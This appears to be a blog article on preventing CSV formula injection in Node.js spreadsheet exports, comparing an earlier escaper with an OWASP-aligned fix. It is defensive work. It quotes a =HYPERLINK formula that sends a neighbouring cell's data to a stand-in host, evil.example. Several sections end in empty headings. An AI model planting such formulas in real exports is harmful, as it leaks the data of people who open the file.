CSV injection in spreadsheet exports: neutralise formulas without turning numbers into text

How to export CSV files that are safe to open in Excel or Google Sheets: prefix cells starting with = + - @, tab, CR or LF, and their full-width forms, with a single quote, quote every such cell, and leave real numbers like -42 alone. Tested Node.js comparing a first version with the fix, against OWASP's current guidance.

This story was written with the assistance of an AI writing program.

A CSV export becomes an attack when a cell that came from a user starts with =, and the spreadsheet runs it as a formula: =HYPERLINK("https://evil.example?x="&A1,"Click") sends the cell next to it to someone else's server when clicked. This is CSV injection (or formula injection). OWASP's current guidance is to neutralise any cell that starts with =, +, -, @, tab, carriage return or line feed, plus the full-width forms = + - @ that some locales treat the same way, by prefixing a single quote and wrapping the cell in double quotes. Testing a first version from one of my projects against that list found three gaps: it missed line feed and the full-width characters, and it turned real negative numbers like -42 into text ('-42), which breaks sums in the spreadsheet. The fixed version below keeps numbers as numbers and quotes every neutralised cell. OWASP is also clear that no CSV escaping is safe in every spreadsheet program: Excel can drop the protection when a file is saved and reopened.

Neutralising formulas without breaking numbers. =HYPERLINK(…) is prefixed with a quote by both versions. A cell starting with a line feed and a cell starting with a full-width equals sign were unchanged by the first version and prefixed by the fixed one. The number -42 became text in the first version and stays -42 in the fixed one. -2+3 is prefixed by both. Every prefixed cell is also quoted; plain numbers like -42 or -3.5 pass unchanged.

The first version came from a real export; the fixed one passes the same cases plus OWASP's full list.

The exports come from a lead-research tool I built: company names, descriptions and contact details scraped from public websites, exported as CSV for a sales team to open in Excel. Scraped text is exactly the kind of input that can start with =.

What can a formula do?

Older write-ups also describe formulas that start programs through DDE in old versions of Excel. Whatever your users' Excel does with those, the data-leak and data-corruption cases above apply to every spreadsheet program.

What does the user actually see?

The same scraped cell opened in a spreadsheet. Exported as is, cell B2 shows a Click link, and clicking it sends A2 and more to evil.example; the CSV value is =HYPERLINK("http://evil.example?x="&A2,"Click"). Escaped with a quote prefix and quoting, B2 shows the formula as plain text and nothing runs or is sent. Numbers are left alone: -42 stays a number a SUM can add. Excel can drop the quote prefix if the file is saved and reopened.

Left: what an unescaped export looks like to the person who opens it. Right: the same cell after escaping.

The fixed escaper

export const BOM = ""; // tells Excel the file is UTF-8
 
// OWASP's list: = + - @ tab CR LF, plus full-width = + - @ that some locales treat as formula starts.
const FORMULA_START = /^[=+\-@\t\r\n=+-@]/;
const PLAIN_NUMBER = /^-?\d+(\.\d+)?$/; // "-42" or "-3.5" is data, not a formula
 
export function cell(v) {
  if (v === null || v === undefined) return "";
  if (typeof v === "number") return Number.isFinite(v) ? String(v) : "";
  let text = v instanceof Date ? v.toISOString() : String(v);
  if (FORMULA_START.test(text) && !PLAIN_NUMBER.test(text)) text = `'${text}`;
  return /[",\r\n]/.test(text) || text.startsWith("'") ? `"${text.replace(/"/g, '""')}"` : text;
}
 
export const csvLine = (row) => row.map(cell).join(",") + "\r\n";
export const toCsv = (rows) => BOM + rows.map(csvLine).join("");

Why each piece is there:

Testing it against the first version

// The first version, for comparison
const safe = (v) => (/^[=+\-@\t\r]/.test(v) ? `'${v}` : v);

Five tests pass, and the side-by-side output shows the three differences:

The limits

OWASP is blunt that this attack is hard to mitigate completely:

If a file only goes to people, an .xlsx written with a library that sets cell types explicitly (text cells as strings) avoids the guessing entirely.

Summary

Untrusted input reaches other places in the same pipeline: see SSRF protection for server-side fetch and validating uploads by magic bytes.

Before export, the same pipeline cleans its data: checking email domains with MX records, flagging duplicate companies and keeping scrapers from overwriting human edits.


Written by Ali Ahmed (QuantumBreakz), AI engineer in Lahore · Original article